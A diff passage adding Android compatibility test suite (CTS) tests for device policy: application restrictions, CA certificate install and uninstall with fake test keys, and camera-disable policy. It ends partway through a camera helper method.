+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions");
+
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertEqualToBundle("getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions",
+                    sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_differentPackage_throwsException() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("getApplicationRestrictions_differentPackage_throwsException");
+
+        try (TestAppInstance differentTestApp = sDifferentTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertThrows(SecurityException.class,
+                    () -> differentTestApp.userManager().getApplicationRestrictions(
+                            sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_setForOtherPackage_returnsNull() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("getApplicationRestrictions_setForOtherPackage_returnsNull");
+
+        try (TestAppInstance differentTestApp = sDifferentTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertNotEqualToBundle("getApplicationRestrictions_setForOtherPackage_returnsNull",
+                    differentTestApp.userManager().getApplicationRestrictions(
+                    sDifferentTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @NegativePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertNotEqualToBundle("setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet",
+                    testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_cannotSetPolicy_throwsException() {
+        Bundle bundle = createBundle("setApplicationRestrictions_cannotSetPolicy_throwsException");
+        assertThrows(SecurityException.class, () -> {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+        });
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
+    public void getApplicationRestrictions_cannotSetPolicy_throwsException() {
+        assertThrows(SecurityException.class, () -> {
+            sDeviceState.dpc().devicePolicyManager()
+                    .getApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName());
+        });
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictions.class, singleTestOnly = true)
+    public void setApplicationRestrictions_nullComponent_throwsException() {
+        Bundle bundle = createBundle("setApplicationRestrictions_nullComponent_throwsException");
+        assertThrows(SecurityException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(null,
+                        sTestApp.packageName(), bundle));
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_restrictionsChangedBroadcastIsReceived() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_restrictionsChangedBroadcastIsReceived");
+
+        try (TestAppInstance testApp = sTestApp.install()) {
+            testApp.registerReceiver(new IntentFilter(ACTION_APPLICATION_RESTRICTIONS_CHANGED));
+
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertThat(testApp.events().broadcastReceived().whereIntent().action().isEqualTo(
+                    ACTION_APPLICATION_RESTRICTIONS_CHANGED)).eventOccurred();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictionsManagingPackage.class)
+    public void setApplicationRestrictionsManagingPackage_applicationRestrictionsManagingPackageIsSet()
+            throws Exception {
+        final String originalApplicationRestrictionsManagingPackage =
+                sDeviceState.dpc().devicePolicyManager().getApplicationRestrictionsManagingPackage(
+                        sDeviceState.dpc().componentName());
+        try (TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictionsManagingPackage(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName());
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getApplicationRestrictionsManagingPackage(sDeviceState.dpc().componentName()))
+                    .isEqualTo(sTestApp.packageName());
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictionsManagingPackage(
+                    sDeviceState.dpc().componentName(),
+                    originalApplicationRestrictionsManagingPackage);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @CanSetPolicyTest(policy = ApplicationRestrictionsManagingPackage.class)
+    public void setApplicationRestrictionsManagingPackage_appNotInstalled_throwsException() {
+        sDifferentTestApp.uninstall();
+
+        assertThrows(PackageManager.NameNotFoundException.class,
+                () -> sDeviceState.dpc().devicePolicyManager()
+                        .setApplicationRestrictionsManagingPackage(
+                                sDeviceState.dpc().componentName(),
+                                sDifferentTestApp.packageName()));
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = ApplicationRestrictions.class)
+    public void setApplicationRestrictions_logged() {
+        Bundle originalApplicationRestrictions =
+                sDeviceState.dpc().devicePolicyManager()
+                        .getApplicationRestrictions(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName());
+        Bundle bundle = createBundle("setApplicationRestrictions_logged");
+
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
+             TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setApplicationRestrictions(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            bundle);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+                    .whereAdminPackageName().isEqualTo(
+                            sDeviceState.dpc().packageName())
+                    .whereStrings().contains(sTestApp.packageName())
+                    .whereStrings().size().isEqualTo(1))
+                    .wasLogged();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+                    sDeviceState.dpc().componentName(),
+                    sTestApp.packageName(), originalApplicationRestrictions);
+        }
+    }
+
+    // Should be consistent with createBundle
+    private void assertEqualToBundle(String id, Bundle bundle) {
+        assertWithMessage("bundle0 size")
+                .that(bundle.size()).isEqualTo(8);
+        assertBooleanKey(bundle, "boolean_0", false);
+        assertBooleanKey(bundle, "boolean_1", true);
+        assertIntKey(bundle, "integer", 0xfffff);
+        assertStringKey(bundle, "empty", "");
+        assertStringKey(bundle, "string", id);
+        assertStringsKey(bundle, "string[]", TEST_STRINGS);
+
+        Bundle childBundle = bundle.getBundle("bundle");
+        assertStringKey(childBundle, "bundle_string", "bundle_string");
+        assertIntKey(childBundle, "bundle_int", 1);
+
+        Parcelable[] bundleArray = bundle.getParcelableArray("bundle_array");
+        assertWithMessage("size of bundle_array").that(bundleArray).hasLength(2);
+
+        // Verifying bundle_array[0]
+        Bundle bundle1 = (Bundle) bundleArray[0];
+        assertStringKey(bundle1, "bundle_array_string", "bundle_array_string");
+
+        Bundle bundle1ChildBundle = getBundleKey(bundle1, "bundle_array_bundle");
+
+        assertWithMessage("bundle_array_bundle")
+                .that(bundle1ChildBundle).isNotNull();
+        assertStringKey(bundle1ChildBundle, "bundle_string", "bundle_string");
+        assertIntKey(bundle1ChildBundle, "bundle_int", 1);
+
+        // Verifying bundle_array[1]
+        Bundle bundle2 = (Bundle) bundleArray[1];
+        assertStringKey(bundle2, "bundle_array_string2", "bundle_array_string2");
+    }
+
+    private void assertBooleanKey(Bundle bundle, String key, boolean expectedValue) {
+        boolean value = bundle.getBoolean(key);
+        Log.v(TAG, "assertBooleanKey(): " + key + "=" + value);
+        assertWithMessage("bundle's '%s' key")
+                .that(value).isEqualTo(expectedValue);
+    }
+
+    private void assertIntKey(Bundle bundle, String key, int expectedValue) {
+        int value = bundle.getInt(key);
+        Log.v(TAG, "assertIntKey(): " + key + "=" + value);
+        assertWithMessage("bundle's '%s' key")
+                .that(value).isEqualTo(expectedValue);
+    }
+
+    private void assertStringKey(Bundle bundle, String key, String expectedValue) {
+        String value = bundle.getString(key);
+        Log.v(TAG, "assertStringKey(): " + key + "=" + value);
+        assertWithMessage("bundle's '%s' key")
+                .that(value).isEqualTo(expectedValue);
+    }
+
+    private void assertStringsKey(Bundle bundle, String key, String[] expectedValue) {
+        String[] value = bundle.getStringArray(key);
+        Log.v(TAG, "assertStringsKey(): " + key + "="
+                + (value == null ? "null" : Arrays.toString(value)));
+
+        assertWithMessage("bundle's '%s' key").that(value).asList()
+                .containsExactlyElementsIn(expectedValue).inOrder();
+    }
+
+    private Bundle getBundleKey(Bundle bundle, String key) {
+        Bundle value = bundle.getBundle(key);
+        Log.v(TAG, "getBundleKey(): " + key + "=" + value);
+        assertWithMessage("bundle's '%s' key").that(value).isNotNull();
+        return value;
+    }
+
+    private void assertNotEqualToBundle(String id, Bundle value) {
+        // This uses an arbitrary value from the test bundle
+        assertWithMessage("Bundle should not be equal to test bundle")
+                .that(value.getString("string")).isNotEqualTo(id);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
new file mode 100644
index 0000000..9fe4b36
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
@@ -0,0 +1,281 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.net.http.X509TrustManagerExtensions;
+import android.stats.devicepolicy.EventId;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.CaCertManagement;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
+import com.android.bedstead.nene.utils.Poll;
+import com.android.compatibility.common.util.FakeKeys;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.GeneralSecurityException;
+import java.security.KeyStore;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509TrustManager;
+
+// These tests rely on the line "android:networkSecurityConfig="@xml/network_security_config"" in
+// the <application> element in the manifest.
+// TODO(b/205261115): Use a testapp and query for it rather than relying on the Manifest content
+@RunWith(BedsteadJUnit4.class)
+public final class CaCertManagementTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    public static final byte[] CA_CERT_1 = FakeKeys.FAKE_RSA_1.caCertificate;
+    public static final byte[] CA_CERT_2 = FakeKeys.FAKE_DSA_1.caCertificate;
+
+    @Test
+    @CanSetPolicyTest(policy = CaCertManagement.class)
+    public void getInstalledCaCerts_doesNotReturnNull() throws Exception {
+        assertThat(sDeviceState.dpc().devicePolicyManager().getInstalledCaCerts(
+                DPC_COMPONENT_NAME)).isNotNull();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = CaCertManagement.class)
+    public void installCaCert_caCertIsInstalled() throws Exception {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        try {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+
+            boolean result = remoteDpm.installCaCert(
+                    DPC_COMPONENT_NAME, CA_CERT_1);
+
+            assertThat(result).isTrue();
+            assertCaCertInstalledForTheDpcAndLocally(CA_CERT_1);
+        } finally {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = CaCertManagement.class)
+    public void installCaCert_logsEvent() throws Exception {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        try {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+
+            try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+                remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
+
+                assertThat(metrics.query()
+                        .whereType().isEqualTo(EventId.INSTALL_CA_CERT_VALUE)
+                        .whereAdminPackageName().isEqualTo(DPC_COMPONENT_NAME.getPackageName())
+                        .whereBoolean().isFalse()
+                ).wasLogged();
+            }
+        } finally {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = CaCertManagement.class)
+    public void uninstallCaCert_caCertIsNotInstalled() throws Exception {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        try {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+            remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
+
+            remoteDpm.uninstallCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
+
+            assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_1);
+        } finally {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = CaCertManagement.class)
+    public void uninstallCaCert_otherCaCertsAreNotUninstalled() throws Exception {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        try {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+            remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
+            remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_2);
+
+            remoteDpm.uninstallCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
+
+            assertCaCertInstalledForTheDpcAndLocally(CA_CERT_2);
+        } finally {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = CaCertManagement.class)
+    public void uninstallCaCert_logsEvent() throws Exception {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        try {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+            try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+                remoteDpm.installCaCert(
+                        DPC_COMPONENT_NAME, CA_CERT_1);
+
+                remoteDpm.uninstallCaCert(
+                        DPC_COMPONENT_NAME, CA_CERT_1);
+
+                assertThat(metrics.query()
+                        .whereType().isEqualTo(EventId.UNINSTALL_CA_CERTS_VALUE)
+                        .whereAdminPackageName().isEqualTo(DPC_COMPONENT_NAME.getPackageName())
+                        .whereBoolean().isFalse()
+                ).wasLogged();
+            }
+        } finally {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = CaCertManagement.class)
+    public void uninstallAllUserCaCerts_uninstallsAllCaCerts()
+            throws Exception {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        try {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+            remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
+            remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_2);
+
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+
+            assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_1);
+            assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_2);
+        } finally {
+            remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
+        }
+    }
+
+    private void assertCaCertInstalledForTheDpcAndLocally(byte[] caBytes)
+            throws GeneralSecurityException {
+        assertCaCertInstalledAndTrusted(caBytes, /* installed= */ true);
+    }
+
+    private void assertCaCertNotInstalledForTheDpcOrLocally(byte[] caBytes)
+            throws GeneralSecurityException {
+        assertCaCertInstalledAndTrusted(caBytes, /* installed= */ false);
+    }
+
+    /**
+     * Whether a given cert, or one a lot like it, has been installed system-wide and is available
+     * to all apps.
+     *
+     * <p>A CA certificate is "installed" if it matches all of the following conditions:
+     * <ul>
+     *   <li>{@link DevicePolicyManager#hasCaCertInstalled} returns {@code true}.</li>
+     *   <li>{@link DevicePolicyManager#getInstalledCaCerts} lists a matching certificate (not
+     *       necessarily exactly the same) in its response.</li>
+     *   <li>Any new instances of {@link TrustManager} should report the certificate among their
+     *       accepted issuer list -- older instances may keep the set of issuers they were created
+     *       with until explicitly refreshed.</li>
+     *
+     */
+    private void assertCaCertInstalledAndTrusted(byte[] caBytes, boolean installed)
+            throws GeneralSecurityException {
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        Certificate caCert = readCertificate(caBytes);
+        // All three responses should match - if an installed certificate isn't trusted or (worse)
+        // a trusted certificate isn't even installed we should fail now, loudly.
+        boolean isInstalled = remoteDpm.hasCaCertInstalled(DPC_COMPONENT_NAME, caCert.getEncoded());
+        assertThat(isInstalled).isEqualTo(installed);
+
+        assertThat(isCaCertListed(caCert)).isEqualTo(installed);
+
+        assertCaCertTrustStatusChange(caCert, isInstalled);
+
+        X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(getFirstX509TrustManager());
+        boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
+        assertThat(userAddedCertificate).isEqualTo(installed);
+    }
+
+    /**
+     * Convert an encoded certificate back into a {@link Certificate}.
+     *
+     * Instantiates a fresh CertificateFactory every time for repeatability.
+     */
+    private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
+        final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+        return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
+    }
+
+    private boolean isCaCertListed(Certificate caCert) throws CertificateException {
+        boolean listed = false;
+        RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
+        for (byte[] certBuffer : remoteDpm.getInstalledCaCerts(DPC_COMPONENT_NAME)) {
+            if (caCert.equals(readCertificate(certBuffer))) {
+                listed = true;
+            }
+        }
+        return listed;
+    }
+
+    private void assertCaCertTrustStatusChange(Certificate caCert, boolean newStatus)
+            throws GeneralSecurityException {
+        // Verify that the user added CA is reflected in the default X509TrustManager.
+        X509TrustManager tm = getFirstX509TrustManager();
+
+        Poll.forValue("Accepted issuers", () -> Arrays.asList(tm.getAcceptedIssuers()))
+                .toMeet((acceptedIssuers) -> newStatus == acceptedIssuers.contains(caCert))
+                .errorOnFail(
+                        newStatus ? "Couldn't find certificate in trusted certificates list."
+                        : "Found uninstalled certificate in trusted certificates list.")
+                .await();
+    }
+
+    private static X509TrustManager getFirstX509TrustManager() throws GeneralSecurityException {
+        final TrustManagerFactory tmf =
+                TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+        // Use platform provided CA store.
+        tmf.init((KeyStore) null);
+        return getFirstX509TrustManager(tmf);
+    }
+
+    private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
+        for (TrustManager trustManager : tmf.getTrustManagers()) {
+            if (trustManager instanceof X509TrustManager) {
+                return (X509TrustManager) trustManager;
+            }
+        }
+        throw new RuntimeException("Unable to find X509TrustManager");
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CameraPolicyTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CameraPolicyTest.java
new file mode 100644
index 0000000..cbeeaad
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CameraPolicyTest.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.Manifest.permission.CAMERA;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.CameraPolicy;
+import com.android.bedstead.nene.TestApis;
+import com.android.compatibility.common.util.PollingCheck;
+
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@RunWith(BedsteadJUnit4.class)
+public final class CameraPolicyTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final CameraManager sCameraManager =
+            sContext.getSystemService(CameraManager.class);
+    private static final DevicePolicyManager sLocalDevicePolicyManager =
+            sContext.getSystemService(DevicePolicyManager.class);
+    private static AppOpsManager sAppOpsManager = sContext.getSystemService(AppOpsManager.class);
+
+    private static final String TAG = "CameraUtils";
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @NegativePolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledTrue_policyDoesNotApply_cameraNotDisabled() {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), true);
+
+        assertThat(sLocalDevicePolicyManager
+                .getCameraDisabled(null)).isFalse();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledTrue_cameraDisabledLocally() {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), true);
+
+        assertThat(sLocalDevicePolicyManager
+                .getCameraDisabled(null)).isTrue();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledFalse_cameraEnabledLocally() {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), false);
+
+        assertThat(sLocalDevicePolicyManager
+                .getCameraDisabled(null)).isFalse();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledTrue_cameraDisabledAtDPC() {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), true);
+
+        assertThat(sDeviceState.dpc().devicePolicyManager()
+                .getCameraDisabled(null)).isTrue();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledFalse_cameraEnabledAtDPC() {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), false);
+
+        assertThat(sDeviceState.dpc().devicePolicyManager()
+                .getCameraDisabled(null)).isFalse();
+    }
+
+    @Ignore("b/201753989 Properly define behaviour of setCameraDisabled on secondary user POs")
+    @Test
+    @Postsubmit(reason = "new test")
+    @CannotSetPolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledTrue_policyNotAllowedToBeSet_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), true));
+    }
+
+    @Ignore("b/201753989 Properly define behaviour of setCameraDisabled on secondary user POs")
+    @Test
+    @Postsubmit(reason = "new test")
+    @CannotSetPolicyTest(policy = CameraPolicy.class)
+    public void setCameraDisabledFalse_policyNotAllowedToBeSet_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), false));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @EnsureHasPermission(CAMERA)
+    @CanSetPolicyTest(policy = CameraPolicy.class)
+    public void openCamera_cameraEnabled_successful() throws Exception {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), false);
+
+        PollingCheck.waitFor(() ->
+                sAppOpsManager.unsafeCheckOp(
+                        AppOpsManager.OPSTR_CAMERA,
+                        android.os.Process.myUid(),
+                        sContext.getOpPackageName()) == 0);
+
+        assertCanOpenCamera();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @EnsureHasPermission(CAMERA)
+    @CanSetPolicyTest(policy = CameraPolicy.class)
+    public void openCamera_cameraDisabled_unsuccessful() throws Exception {
+        sDeviceState.dpc().devicePolicyManager()
+                .setCameraDisabled(sDeviceState.dpc().componentName(), true);
+
+        PollingCheck.waitFor(() ->
+                sAppOpsManager.unsafeCheckOp(
+                        AppOpsManager.OPSTR_CAMERA,
+                        android.os.Process.myUid(),
+                        sContext.getOpPackageName()) == 1);
+
+        assertCanNotOpenCamera();
+    }
+
+    private void assertCanOpenCamera() throws Exception {
+        boolean successfullyOpened;
+
+        String[] cameraIdList = sCameraManager.getCameraIdList();
+        if (cameraIdList == null || cameraIdList.length == 0) {
+            successfullyOpened = false;
+        } else {
